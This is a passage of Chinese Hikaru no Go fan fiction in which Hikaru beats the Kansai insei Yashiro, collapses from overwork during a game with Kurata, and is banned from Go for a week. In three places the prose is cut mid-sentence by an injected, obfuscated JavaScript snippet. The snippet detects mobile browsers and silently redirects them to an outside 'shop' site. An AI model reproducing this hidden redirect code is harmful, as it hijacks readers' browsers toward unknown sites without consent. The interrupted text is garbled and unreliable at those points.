有人在表达对sai的赞美,也有人质疑sai不是真人而是一群棋手组成的俱乐部,还有人以sai为主角写了奇奇怪怪的都市传说同人故事,除此之外,记录棋谱的、打卡今日学习计划的、求下次sai对局时在这里提醒自己的、发表分析文章的、竞猜sai真实身份的、恳求sai收自己为徒的、对sai一连发出十个爱心符号的……各种各样的内容一应俱全,看得进藤光满脸憋不住姨母笑。 这样看下去有点太慢了,光干脆点击了“按照点赞率”排行,往下划拉,结果居然在前几名里找到了一条不可思议的留言。 【想和你对局,来关西棋院找我吧。社清春。】 “是社!!” 光脱口而出这个熟悉的名字。 佐为懵懵懂懂地歪了歪脑袋。没听过呢,又是小光单方面认识的朋友之一吗? “社?谁啊?”久原也没听过这个名字,皱着眉头瞥了他一眼。 此时的进藤光难掩心中的惊喜。这时候社还不是职业棋手吧,但应该已经在关西棋院当上院生了。托了sai的福,老朋友们正在一个接一个地出现、提前进入他的生活,让他不由得期待未来还有更多未知的相遇。 机会难得,就找他先下一盘棋好了。 “久原!你教我怎么回复他!快点!”光一把勾住久原的脖子,后者发出“呃”的一声,不情不愿地被催着快些过来帮光注册临时账号,然后看着光在那条社清春的留言下面打了长长一大串文字,点击发送。 一种不妙的预感在久原心中慢慢升起,他狐疑地盯着进藤光喜气洋洋的脸,隔着屏幕闷声问:“你输入了什么,进藤?” “哼哼。”光没有直接回答。 然后久原看到了出现在评论区的那行小字。 【我是sai的弟子,进藤光。想和sai对局,必须先过我这关!听说你在关西棋院是院生第一,我在东京本部也是院生第一,有没有兴趣来东京和我一决胜负?(表情包)(表情包)(表情包)】 久原的脸上露出了微妙的无言以对的表情。 “……你还真是小孩子气。扮猪吃老虎是吧。” 他知道sai就是进藤光,也只有他能吐这种槽了。光倒是不以为耻反以为荣,笑嘻嘻地眯起了双眼。 “我本来就是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624213|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子啊!没事,这家伙下棋很带劲的,我保证给你带回来一局前所未见的棋谱!” 光的挑衅卓见成效。第二周周末,他照常去棋院参加院生一组的例行对局时,屁股都还没坐下来,就听到满头大汗的和谷义高冲出电梯、朝着对局室里的光发出一声惊天动地的大喊: “——进藤,你惹什么事了?!有个白头发的关西腔不良少年在找你!一看就是超危险的角色!!” 光过于感动地捂住了嘴。 哇,居然真的来了!跨越大半个本州岛的快递大礼包! 他的捂嘴举动被和谷当成了受到过度惊吓。这也难怪,虽然日本棋院怪胎是多,但胆大包天到直接把整个头染成银发的怪胎暂时还没出现,更何况社本人自带一股街头混混的不良气质,那凶狠的目光看谁谁哆嗦,这种人大摇大摆来到棋院到处找人问“进藤光”在哪,听上去就好像光欠了他一大笔钱一样。其实和谷已经在考虑要不要替好兄弟报警了。 没想到,进藤光欢天喜地地跑去了一楼,对着被工作人员包围起来的社清春挥手问好。 “哟!社!” 工作人员们看到他这么熟络的样子,才松开拽住社的手臂。那名拽得要命的白毛少年穿着奇怪的无袖马甲,裤子松散得像马戏团的小丑,鞋子上还设计了奇怪的钉子装饰,但也不知道为什么,这身怪异装扮在他身上就显得极为时尚、一点也不违和。 看到进藤光,他扭头就是一记“友好”的视线问候。 “……就是你吗?在网上留言挑战我的家伙。” “你真的来找我了啊,我好高兴!” 这过分阳光灿烂的标准主角式笑容令社一时觉得有点后背发凉。搞什么啊,一上来就这么自来熟?不过这家伙的笑好像还挺真诚的,他到底知不知道约架的含义?他们可是即将展开无情厮杀的对手! “我不是受了挑衅还能坐得住的性格。正好老师过来看朋友,我就请了假,一起来东京了。sai的弟子到底是什么角色,不亲眼看看谁都放不下。”社看上去像个不良,说起话来却并没那么不讲礼貌,配合这有趣的关西腔还显得十分可爱,除了最后那一句,“——可你们本部的院生完全不行嘛,除了那个叫伊角的能坚持到最后,其他没一个能打的。让人大失所望啊,东京。” 看来他已经在进藤光抵达棋院之前,就跟提前过来的院生们下过一轮快棋了。 而且是全胜。 难怪周围这些人都一脸惊悚地看着他。这样嚣张的举动,被当成刻意惹事也是正常的。 光的笑容渐渐隐了下去。这涉及到日本棋院本部的面子问题,就算是他,听了这么直白的贬低也不可能坐视不理,这里可是他进藤光得到最多磨练、成长最快的母校,才不会输给关西分部呢!想到这里,他快步走近社清春,直接把额头抵上了对方的额头。 不过以他目前的身高,这个动作还有点勉强,他得非常努力地踮脚才行。 “那是因为你还没跟我对局!喂,社,我要是下赢了你怎么说?” 这学习天鹅伸长脖子的举动让社一时觉得有点好笑。 他毫不客气地甩了一句:“啊?你做得到吗?小学生?” 正中雷区。 光抽了抽嘴角,脑门上已经冒出了巨大的黑色十字。 “我不是小学生!我已经国中一年级了!!” “不好意思,看你的身高我以为你铁定小学还没毕业呢。” “你——废话少说!跟我一决胜负吧!待会输了的人就要叫对方‘前辈’!不,‘前辈’还是不够,要叫‘老师’!进藤‘老师’!” “这什么特殊的癖好……罢了,那就让我来会会你吧,一、年、级、的。” “不要加奇怪的重音!我们明明是同年吧?!” 在众人集合了疑惑惊讶嫌弃沉默的注视下,这俩欢喜冤家怒气冲冲地左肩顶着右肩并排进了电梯,分毫不肯相让地冲去了自由对局室。 ●○●○ 56.Chapter 55. 进藤光vs社清春 进藤光最后一次见社,是在自己成为六段的庆功宴上。 社清春投身职业围棋一事一直受到家人反对,即便他考上职业初段,他们也要求他必须读完高中,导致北斗杯那段时间他奔波于学校和东京之间、十分疲惫。北斗杯结束后,社立马就回到了关西棋院。隔着物理上的绝对距离,光和亮很难有机会与他见一面,只有每年在几项赛事活动前后能打个照面,三人偶尔相聚,总能回到北斗杯特训时那段亲密无间的时光。 社清春其人,看上去流里流气不好相处,实际交往之后却能发现他是个很有意思的家伙,不论突然冒出的新奇想法、小固执、看着光和亮吵架时的发呆表情、输棋时不肯罢休的反应,都十分可爱。 日本棋院东京本部多次向社抛出橄榄枝,邀请他直接加入本部,以他惊人的升段速度,大有可能成为不输塔矢亮的王牌棋手。但社本人却果断拒绝了。他想永远留在关西,似乎有志于将关西棋院发扬光大,以他的说法,棋手不能只聚集在一个地方,那样的话东京以外的地方的小孩都不会有上升通道——围棋是全世界的东西,不应该被独占。 发誓要为关西棋院夺回已失落50年的本因坊头衔的社,留下独自走远的身影,举着啤酒罐离开了东京。 那是光的记忆中,关于社的最后一个镜头。 “自那之后就再也没见过啦。” 光看着棋盘对面的旧友,一时不知该露出什么样的表情。 有些人,见面的次数就是会随着时间的流逝渐渐减少,最后也不知道那一次会成为诀别。不过,现在也是一样的。只要他们追寻的目标是同一个,就一定……会等到命运再次交叉的那天。 佐为看出他的异常,担心地问:“小光,你没事吧?” 光挤出一个微笑。 “没事的,昨晚有点没睡好而已。对付他应该还是手到擒来啦。” 说完他小小地打了个呵欠。昨晚光代替sai和欧洲的业余棋手进行了一次正式对局,鉴于比利时与日本的时差,他不得不熬了个大夜。对手是个叫威廉的家伙,棋力大概在职业三段左右,但欧洲这个时候还没有定段制度,就算他很强、也无法成为职业棋手,让人感到有些可惜。 全世界各地都有喜欢围棋的人,但不是所有人都有机会以围棋为生。 有无法参加定段赛的人,也有家人不支持下棋的人,或是出于经济原因放弃的人,光能进入那个自带光环的世界,已经十分幸运了。所以他会珍惜每一次对局。 “让我看看你的小花样吧,社。” 光将第一枚黑棋,毫不犹豫地放在超高目。 十六之六。 这个位置比三三或是五五还要少见,让摩拳擦掌的社直接傻眼了。 本来还想着自己要不要试试天元开局,没想到被这小子抢先一步截胡了更离谱的一步。社先是一愣,随后露出了淡不可见的笑意。 “哼,有点意思。” 社略加思考,便落下了自己的第一枚白棋。 竟然是五五。 光满意地点了点头。 有两下子嘛社!两年前就这么不走寻常路了啊! 佐为也看得两眼放光,多么有趣的下法呀,在平安时代也没见过人这么做呢! “……你们俩到底在搞什么?!”因为本来是自己对手的进藤光翘掉了院生对局、而顺便前来观战的和谷都震惊了,“这是来下棋的还是来玩游戏的?!” 配合十五之三的特殊大飞守角,光抢占了第一个角。社紧随其后,用五三抢占了第二个角。但说实话,这到底能不能算是占上了还难以确定,按照职业棋士公认的布局法则,无论哪一种都算不上稳固,随时可能被偷家。 比起有效意图,更像是纯粹的尝试。 但是……越是新奇的开局,就越考验棋手在后面的接续。一旦前几颗棋子变为废子,就跟主动给对手下让子棋没差别。 光这样做还勉强算合理,因为他知道自己眼下棋力比社更高,即便真的下让子棋,自己也未必赢不了。 至于社,也不知他本就打算一时兴起,还是看到光的第一手后突然来的灵感。 “这个形状,有点像堡垒呢……” 光一边抵御淡淡的倦意,一边思考着后续的对应。社清春的老师是关西棋院的吉川八段,重生之后,光也研究过他的棋谱,和东京圈这边的主流确实有些不一样。 社这是在给自己出难题呀。要是光想构成理想的阵型,就要看着他也走出自己想要的形状,否则就要吃亏。 不过,就因为是难题,围棋才这么有趣。 “这……好奇妙的构图。”路过的《围棋周刊》编辑部的吉川都忍不住多看了两眼,边看边疯狂在随身笔记本上记录棋谱,事发突然,他实在没时间去准备专用记录纸了,“古濑村肯定会很喜欢吧。虽然只是院生之间的联系赛……姑且传给他看看。” 与围观路人的惊愕相比,正在下棋的本人却冷静得多。 社也不是毫无胜算就随便下出那一手的,他不是玩心理战的人,既然下了,就要想办法让这套尝试变成未来的“新定式”!这样才有探索的必要! 对面是sai的弟子,sai的棋局他也研究过许多盘,本以为这家伙不会太不走寻常路,没想到第一步就出乎了意料。 看来东京这边也不是完全没人嘛。敢于对未知发起挑战的人。 围棋的目标,从来不是如何下出“尽善尽美”的每一步,因为“完美”就等同于死亡——和一张宣布围棋已经不再有发展空间的死亡判决书没两样。许多高段棋手习惯了已知的套路,就把自己的上限焊死在那里了,一毫米也不会更高,因为他们只会墨守成规。 察觉到社逐渐燃起的战意的光,也加快了击破对方构型的速度。 不在这里决出胜负的话……后面就麻烦了。 “小光开始反击了。” 佐为露出了了然的神情。 小光可是他自满的弟子,应对这样的挑战,也会交出格外令人惊喜的答卷呢。 “加油哦,社!”他学着光的语气,对看不见自己的社清春这样小声说。 “可恶……”遭到补补进步的社终于意识到这个对手的非凡之处,“他真的只是一个院生吗?” 这些四两拨千斤的技巧,看上去简单,但不是谁都能用出来的,尤其是,在经过了如此炸裂的开局之后,大多数定式都失去了使用场景才对。但这个进藤光,还是能准确地找到他的每一个缺陷,飞快地对症下药。 和他下棋,总有种在和师父吉川八段下棋的感觉。 社越想越觉得接近。这个同龄少年的棋力,和他见过的最强棋手的棋力,几乎是在同一个维度。 否则就不能解释为何他会如此迅速落入劣势。 单方面的劣势! 此刻的光想着的却是另外的事。自从升上六段与社一别后,在职业赛场上,他就很少遇到愿意陪自己“瞎胡闹”的对手了,毕竟像社这样敢于创新的人少之又少,多数人都是川崎那样的保守派,搞得进藤光最后也只能反复那些胜率最稳定的选择,他一个人瞎起劲,也下不出什么好棋。渐渐地,他是不是因此变得陷入窠臼了呢…… ——感谢你,社,是你让我回忆起了这种自由点亮星辰的感觉。 “呼。” 久违的,棋盘不再以棋盘是样式出现在光眼前,而是变回了曾经的蔚蓝宇宙。 在那片可以无限宽广的银河里,他放下的每一颗棋子都是一枚星星,共同构成形态各异的星座,然后汇聚成一个又一个星系。那是充满想象力的孩童眼中才能看见的围棋。 和那时一样,佐为也在身后。 光感到从灵魂深处涌出了无限的力量。这一刻,他不再在乎胜负,不再在乎这一局棋会不会是好棋,也不执着于捕捉对手的漏洞,而是,只想让这片银河继续延续下去。 银河本身不会有感情,星星也从不理会人类的许愿,他们只是以自然规律的形式存在着,存在着,千年万年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644009|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亿万年,化为他们自己喜欢的形状。 他再次高高举起手中的棋子。 啪—— “……啊。” 那个瞬间,社仿佛看见坐在身前的少年,变成了神话里的人物,挥洒着文明的星光。 难以解释这种错觉的来源。社只觉得嗓子发干,浑身都是汗水,他几乎凝固在原地,仰望着天空中的神明,但那个人又并不是神,因为这局棋走向了终点。已经都没必要认输了,自从第一颗棋子占据的角被夺走后,社就清楚地意识到,他再无翻盘的可能性。 坚持到现在,只是为了见证这漂亮的胜负手而已。 但是,输棋果然……还是会不甘心。 社紧紧抿着唇,从斜下方盯着进藤光,他不知道如何处理这种心情。本能的桀骜让他并不想承认自己对进藤光的过高评价。不过,无论他如何心乱如麻,都改变不了一个结论:今天能来日本棋院,真是太好了。 “我……输了。” “嗯?” 对面的光明白棋局结束了,也十分欠揍地指着自己圆滚滚的脸蛋,等待社的话语。 社蠕动了好几次嘴唇。 佐为忍不住同情起他来:“小光你好坏哦。” “嗯?嗯嗯?” 光疯狂眨眼,暗示他还在等那句约好的话。 社终于还是拗不过他的小孩脾气,摆出一副死鱼眼的样子,干巴巴地说:“进藤老师!今天多谢你指教了!” 光这才心满意足地笑了起来。 “你还蛮可爱的嘛,真的乖乖照做诶。我们很快就会再见面的,要记住我的名字喔。” “早就记住了,进藤光!对吧!那群院生都念叨你一早上了!”社没好气地来了一句。不过他内心深处并没生气,倒不如说,这个家伙一开始提出那么幼稚的约定,就是早早为输掉的人铺好了台阶,这样就能用谁都能轻松接受的玩笑让输棋变得不那么难受。 真是完全败给他了啊。从任何角度来说都是一样。 光依旧笑意满面地送社来到棋院门口。大厅里并没有其他人,院生们都在忙着对弈,和谷则还沉浸在刚才那离谱的对局里没反应过来。社往前走了两步,回过头来望着光,不知为何,这个留着奇异金色挑染刘海的少年总给他一种难以解释的亲切感,然后他对着光抬起右手。 “下次见面的时候,你要长到这么高才行。” “什么啊!居然人身攻击!!”光丢给他一罐从自动贩售机买的果汁,准确地说,是直接砸上他的鼻梁,“下次见面的时候,让塔矢来做你的对手吧!他肯定也乐意和你下一局。” 社摸了摸红肿的鼻梁。 “塔矢?那个突然隐退的塔矢名人四冠王的儿子?” “嗯。这几天不巧他在忙,不过,你要是当面称呼他为塔矢行洋的儿子,他会不开心的哦。”光想起过去三人轮流下快棋、轮流犯困、再轮流互相敲头的场面,忽然很想笑,“那家伙很厉害,但是,他最纠结好看的棋形了,你这种不按套路出牌的下法反而天然克他!这就是缘分!” “有点意思……” 社若有所思地挥了挥手。 他走下日本棋院的台阶的背影,与那日最后一次见面时重叠了。但这一次,光没有伤感。他以为的永别也只是下一次见面前的倒数。有了倒数,下次见面才会更加期待。 每一局棋都有意义,每一对棋手的相遇也是如此,职业的生涯是很漫长的,每个人每一刻都在学习在成长,也有掉队的人,或是分开努力、但心中理想一致的人。如果说塔矢亮是进藤光命中注定相伴一生的对手,那么社清春就是即使身隔两地也能望向同一片天空的劲敌。 ——但是,本因坊的名号我还是不会让给你喔。 光这样想着,握紧了手中的折扇。 这时,忽然有个贱兮兮又有点可靠的声音从身后叫住了他。 “哦!进藤!听说你赢了一个从关西棋院来的臭屁小孩,赢了几目?” ●○●○ 57.Chapter 56. 中断的一局 进藤光飞快地回头一看,果然,是上辈子对他格外关照的上代天才——青年棋士仓田厚!他就说,怎么可能有第二个人能发出那种和相扑选手一样圆润雄浑的声音,从身材上就做不到嘛! “是中盘胜啦。那么乱七八糟的开局,能下到算目就有鬼了。”光的语气不带炫耀,只是纯粹的好玩,不过他马上想起了一个问题,“咦?我们之前……见过面了吗,仓田先生?” 他怎么记得这辈子还没和这个人遇到过?万一露馅就麻烦了。 还好,仓田只是摸了摸和声线同样圆润的下巴。 “没有见过哦,没有直接见过,但是我早就在网上看见过你的照片了,那个院生写的奇怪博客不是提过你嘛。不过,真亏你认得出我的脸啊!看来这么快就已经变成我的忠实粉丝了?很好很好,仓田大人马上就给你签名,你稍等一下。” 说着他就转身去找棋院的柜台售货员要扇子。还是老样子,甚至扇子的费用还要赊账,虽然仓田在棋迷眼中确实很有名气——这种有实力又自恋却并不帅气字还写得歪七扭八的胖棋士天然自带喜剧属性,但上辈子的进藤光最害怕的就是遇到对方强行推销签名,因为一开始就停不下来。 光连忙伸手制止他。“谢谢你仓田先生……签名就……” “话说回来,进藤。”仓田厚忽然把声量压到最低,附在光耳边,偷偷摸摸地问,“……听说你私下赢了座间王座,确有此事吗?” 他竟然为了问这个问题,忘记了自己原本要给进藤光签名这件事。看来座间在他心中的优先级很高。 光反倒松了口气。 “您是怎么知道的?” 被问到引以为豪的情报网,仓田自信满满地插起了腰:“嗯哼哼,年轻人有年轻人特定的消息渠道,下克上击败老棋手可是最最引人注目的话题,你瞒不住的。怎么样,同样身为天才,你这个十代的天才要不要现在就跟二十代的本天才下一局?赢了的话,我就在扇子上再加一句‘致:天才继任者进藤’!很有诱惑力吧?” 虽然他是真的一点也不想要仓田的签名,但是…… “我要下!现在就下!”光高兴地举起了双手,欢呼雀跃。 佐为飘到他左边低声提醒:“小光,你今天已经连续下了很久的棋了,会不会太勉强?” 光却整个人呈现出一种异常的兴奋状态。 “你在说什么呢,佐为,这可是仓田七段哦,是可遇不可求的高段棋手哦,而且还是青年的高段棋手!他知道我赢了座间老师,所以才特意找我搭讪!他平时也很忙的,错过这次机会,就不知道要等多久才能和他对弈了!” 得到了认可的进藤光,满心只想着如何回报仓田厚的赏识。当然,要是能赢仓田一局就更好了,他脑海里早就冒出了仓田输棋后目瞪口呆抓住棋院任何一人就开始讲段子的吵嚷场面。 上辈子的北斗杯,仓田担任他们三人的团长,一起同吃同住吵架斗殴,四舍五入也算是进藤光没有血缘关系的亲哥哥了。 现在仓田是七段,重生前的光也是七段。七段vs七段,一听就很令人期待不是嘛! “小光你真是的……”佐为无奈地叹了口气。 没办法,小光决定的事,就是九头牛拉着也拽不回来。最后幽灵也只能慢悠悠地飘回了自由对居室。负责登记入场信息的前台看到才刚结束一局棋的进藤光又拉着新对手进来想再开一局,都一时有些困惑地看了看挂钟,时间倒是没错,真的前后脚就差了五分钟而已。 尽管心里犯着嘀咕,前台还是接受了他要借用对居室的申请。 仓田胖乎乎的身躯坐在标准化的小椅子上,让光第一次感到这里的家具格外纤细。或许是因为知道光赢过座间,仓田只字未提要让子或者让先,而是直截了当地开始了抓子猜先,这种充分受到尊重的气氛一洗心中的阴霾,光的脸上也立刻容光焕发。这家伙一直情商都很高,早知道就跟他多取点经了。 “我先下哦。”仓田把黑棋棋盒拿到自己面前,略加思索,就把第一颗黑棋下在了星位上。 和社完全相反,是最基本的开局呢。 但是要是以为仓田很老实好对付,就大错特错了。越是高情商的棋士,在情绪管理方面就做得越杰出,仓田是真正不受场外影响的角色,遇到好事一笑而过,遇到压力也有办法用笑话扭转为动力,失误什么的根本无伤大雅,着急那就更不可能了。他就像一尊弥勒佛,用最释然的方式处理最棘手的问题,对手也很难从他的表情上读取任何有价值的信息。 然而,此时佐为的注意力根本不在这个新对手身上。 他观察着小光拿棋子的手势。总觉得,没有早上那么轻松了。而且脸色也…… 沉浸在对局激战中的光无暇思考这些。他看不见自己眼眶下面浓郁的黑眼圈,也因为过度亢奋暂时忽略了大脑的倦意,全身心地只想着如何战胜仓田这一件事。 仓田最恐怖的能力就是算力。和那些直觉很好、后续却连连犯错的假天才不一样,真天才是棋感和计算都绝对凌驾于普通人之上的。 想从他嘴里偷走一丁点肉都不容易。 这里应该暂时安全了,可是那边,得想办法尽快破坏他的棋形,同时也要算好和左下角的形势差距,以免自己的领先优势被夺走…… 唔,好奇怪…… 心脏……跳得乱七八糟…… “嗯?”仓田有点在意地眨了眨眼。 他看到进藤的右手停在棋罐上面,夹起的那枚白子也放了回去。是在思考吗?看上去又有点不对劲的样子,就像手臂无力、才被迫悬在那里休息似的。 这个想法让仓田忽然倒吸了一口凉气。 他试探地开口询问:“进藤?” 但这句询问完全没能进入光的耳朵。金属噪音般的耳鸣一点点从脖子后方蔓延上升,很快,外界的声音彻底被耳鸣掩盖了,光的视野四周也逐渐在变暗,染上了不自然的青绿色,起初他以为只是自己思考太入神导致的幻觉,想重新换个姿势,但右手却一点不听使唤。 棋子掉进了棋罐里。 咦……为什么动不了…… 胸口也好沉闷…… 他是不是……快要呼吸不过来了…… 意识短片的前一瞬,光迷迷糊糊地听到好像有人在叫他的名字。 “喂进藤,进藤……!” 是仓田先生的声音。 是哦,他们在对局啊,布局才刚刚进行到一半,还没到最关键的时刻呢…… 他刚才想下在哪来着?好奇怪,脑子里出现了棋盘,棋子自己擅自动了起来,飞速拼凑出他设想的未来几步,但又闪退回到最初的状态,再重新开始…… 为什么全都看不清了?他明明是想…… “……小光!!” 这次光听清楚了,是佐为的声音。 佐为很少用这样焦急的语气说话。他怎么了?该不会是要消失了吧?这想法让光害怕得浑身发凉,意识也奇迹般地重新回到了现世世界。环绕的耳鸣褪去了,昏暗的视野也变亮了,佐为心急如焚的脸庞就那样出现在面前,光揉了揉眼,似乎想借此确认佐为的存在。 还好,他还在,他没有消失! 放下心来之后,剧烈的头痛瞬间袭来,光吃痛地捂住了太阳穴。 “唔……不好,我好像睡过去了……” 他刚想起身,就被一双肥嘟嘟的大手狠狠摁回了床上。 是仓田厚。他忘了穿外套,只穿着一件白色的衬衫,大概是急着从对局室出来、忘了把挂在座椅靠背上的外套带走。想到这里,光吓了一跳。 自己怎么会躺在病床上?!这里是哪里?医院吗? ……不对,医院的装修应该更白一些,这里好像是棋院的保健室。 “咦?” 只听仓田使出丹田之力、用浑厚的声音威胁他:“不要站起来,你个白痴!医生都说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656382|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你就在这给我乖乖睡一觉吧!身体才是职业生涯的本钱,你仗着年轻就不要命,命真的会丢掉的哦!现在才13岁你感觉不到,到了我这个年纪还这么硬扛的话,熬夜猝死可不是开玩笑的!去年就有一个!猝死在棋盘前面的职业棋手!” 他还是老样子,一开始自说自话就语速极快、停不下来。 光连忙打断他:“可是……刚刚的对局……” “等你睡好了再来找我!我又没长翅膀,不会飞走!” 以他的身材,就算长了翅膀也飞不走吧。光本想这样吐槽,但人家是真心实意在关心自己,他只能乖乖坐回了床上,目送仓田离开了保健室。 终于安静下来了。但是,脑袋还是昏昏沉沉的,好痛…… “小光!!!” 光迎面又撞上了佐为哭唧唧绕着自己360度飞来飞去的画面,在他“还难受吗”、“有没有哪里痛”、“是不是被幽灵附身太久了才会这样”的问话中一遍遍解释自己真的没有大碍,又觉得能被佐为这样担心的自己很幸福,脸上不自觉挂上了自责的傻笑。 这温馨的一幕随着下一位访客“唰”地拉开房门而中断了。 气喘吁吁出现在门口的,是接到电话从佐和良中学赶过来的久原木子郎。他居然比进藤正夫和美津子更早抵达现场。难道是棋院联络的他吗?光有点吃惊。 “进藤!!”久原“噗通”一下跪倒在病床前,双手扒拉着床沿,原本好端端的探病氛围一下就被他弄没了,但他本人的痛心疾首却是真心实意的,“都是我的失职!我身为教练,没有在第一时间发现你有过劳征兆,还给你加了那么多训练量!我久原木子郎万死不辞其咎!” “没那么夸张啦。医生也说了没大问题,补个觉就好了。主要还是我熬夜下棋的错。” “……啊?” 久原愣在原地。 听光讲述完他昨晚顶着时差大战欧洲棋手、今早和社大战三百回合、又受到仓田邀请还打算再开一局的连轴转式用脑行为,久原的脸都气青了。刚才他有多难过,现在就有多愤怒。 “你在想什么啊?!进藤光?!饿了就要吃饭,累了就要休息,困了就要去睡,连这点道理都不懂吗?!你是幼稚园小朋友吗?!” “对不起啦……我以后会注意的……晚上我还约了芦原先生对弈呢,得赶紧补个觉了……” 他打算掀开被子的手被久原一把打了回去。 “——你想得美!晚上的对弈给我取消!这是教练命令!还有,本来打算3天后进行的你和一柳棋圣的对弈,也先终止!还有,从今天开始至少一星期,你不许下棋!一个棋子也不许碰!给我好好去散心!每天最少睡够8小时!然后再坚持做1小时的有氧运动!关于围棋的一切都不许干!否则我就剁掉你的手!听清楚了没有?!” 这家伙,怎么突然就变得这么暴力了? 光有点委屈地皱起眉:“好严格哦……” “你要是还敢偷偷约人下网棋,我就顺着网线爬过去、把你是sai的秘密公之于众!我说到做到!!” 看来他是真的气疯了,直接拿出了最强威慑兵器。光连忙示意他小声一点,这里是棋院保健室,保不齐就被路过的人听到了。本来光还想反驳两句,却被对方“我真的会放大声音”的威胁眼神瞪回了床上。佐为吓得飞去门边左看看右看看,确认外面没有人在偷听,才松了口气。 算了,只能先按他说的做了。不过光猛地又想起了一件事,回过头抓住了久原的袖子。 “久原,我晕倒的这件事,千万不要告诉塔矢。” “啊?你还怕塔矢亮担心?”在久原脸上出现了错综复杂的神情,很难将其归结为傻眼还是生气还是不理解,总之这句话成功再度激怒了他,“依我看!就得专门告诉他!让他好好监督你,免得你以后还这么乱来!” 砰—— 摔门的力气倒是很大。 ●○●○ 58.Chapter 57. 友情破颜拳 在那之后,进藤光只能按久原说的,暂停了一切对局,在家好好休息。如果他不这么做,爸爸妈妈也不可能轻易放过他,不然那天临时赶来棋院也不会对着他一通训斥了。 不过久原似乎最终还是没有违背光的意愿,对塔矢亮只字未提此事。证据就是,在接下来的几天内,光都没有接到亮的电话、或者见到他突然闪现在自己面前。怎么说呢,真的这么平静,反而让他心里有点微妙的小小失落。这些先按下不表。 数日后,进藤家。 进藤光保持着45度仰望天空的姿势望向窗外,几只乌鸦啼叫着略过树梢,远处,澄碧如洗的蔚蓝色看不到尽头地延伸着,延伸着,再延伸着。人心里装太多的事之后就喜欢发呆,至少现在的光就什么都不想做。 “小光,你在看什么?” 佐为的声音适时响起,打断了他的胡思乱想。 进藤光深吸一口气,大大地叹息道:“不准我下棋,我还能干嘛。塔矢名人马上就要走了……塔矢又在和绪方先生特训……久原说要筹备围棋联赛没空管我……现在离职业考试又还早,我这不是都无事可做了嘛……总不能学习功课吧?” 这份不甘闲暇的紧迫感让佐为表达了担心。 “小光,久原说过的哦,你最近很累了,不可以过度用脑。我们稍微出去散散心怎么样。” 佐为的安慰好像并没有起到应有的效果。进藤光闷声点点头,又开始对着天空发呆:“也行,稍微给自己放个假好了。我们去围棋部看看他们训练吧。” “好耶!出门出门!” 佐为高高举起扇子,看到他的笑容,顿时什么烦心事都消失了。 两人的对话继续的同时,佐和良中学围棋部的社员们正聚集在校外的小花园里开会。 6月的夏季中学围棋大赛即将到来,在2月的冬季赛里他们并没有取得理想的成绩,但这次不一样了,围棋部来了职业级别的进藤,给他们恶补了许多竞技小常识,久原又能带他们下指导棋,隔三差五还有棋院的高段棋手过来开讲座,形势一片大好。大家都怀抱着一雪前耻的心情,士气也格外高涨。 “咦,进藤今天不来么?” 上次参加过比赛的主将相泽本想邀请光当这次团体赛的特别陪练,可怎么都找不到进藤光的身影。 久原没好脸色地抬起了食指:“那家伙不守规矩,我让他禁赛一周了。这阵子他应该不会来围棋部。” “诶——” “那我们多寂寞啊。” “没办法啦,进藤君需要集中精力对付下个月的职业考试,现在是最关键的时期。”双马尾少女山崎幸温柔地帮他打了圆场,“我们不用勉强他来帮忙,这样对他不公平。” “可这样对我们也不公平!他可是围棋部的一员,宝贵的资源全都喂给他了!现在也该有点表示吧?” “行了,别吵了,青森,山崎。”负责宣传工作的久原无奈地打开名册,“用不着请他这尊大佛,我会代替他当你们的军师,你们都是什么棋风我再清楚不过。有我在,我们一定能闯入决赛,打倒海王也不是梦!放轻松放轻松!” “……等等,军师?你的意思是,你不打算参赛吗?!” 部长相泽犀利地指出了要点所在。 确实。上届比赛最后能跟进藤光勉强抗衡的,整个佐和良中也只有久原木子郎一人而已。他要是不当主将,所有人都不会信服。 众人闻言,皆屏息凝神,等待着久原的发言。 久原木子郎顺手把名册摊开,放在桌上最显眼的角度。 “——不行,我以前是院生,参加业余比赛不是欺负人嘛。” 他果然还是不愿意。相泽挑了挑眉,丝毫不给面子地堵了回去:“照你这个说法,允许岸本薰当主将的海王中学岂不是一直在霸凌别人?” 久原支支吾吾起来:“嗯……说实话,我还是有点怕下围棋……所以……” 相泽的眉毛瞬间成了倒八字。 久原下意识地捂住耳朵。 “喂!这可是我们最重要的比赛,没有之一!以你这么强的实力,不参赛太奇怪了!明明全校最喜欢围棋的就是你啊!” 在佐和良中学的围棋部里,以前公认棋力最高的是部长相泽,但大家都知道,自从暴露了自己曾是院生的事实后,围棋部的核心就变成了掌握着整个社团运行内联外联宣传全部工作的久原木子郎。所有人对他的棋力和经营能力都有目共睹,但更重要的是,他对围棋“心无旁骛”的爱实在太过强烈——简直就是除了围棋什么都没在想。 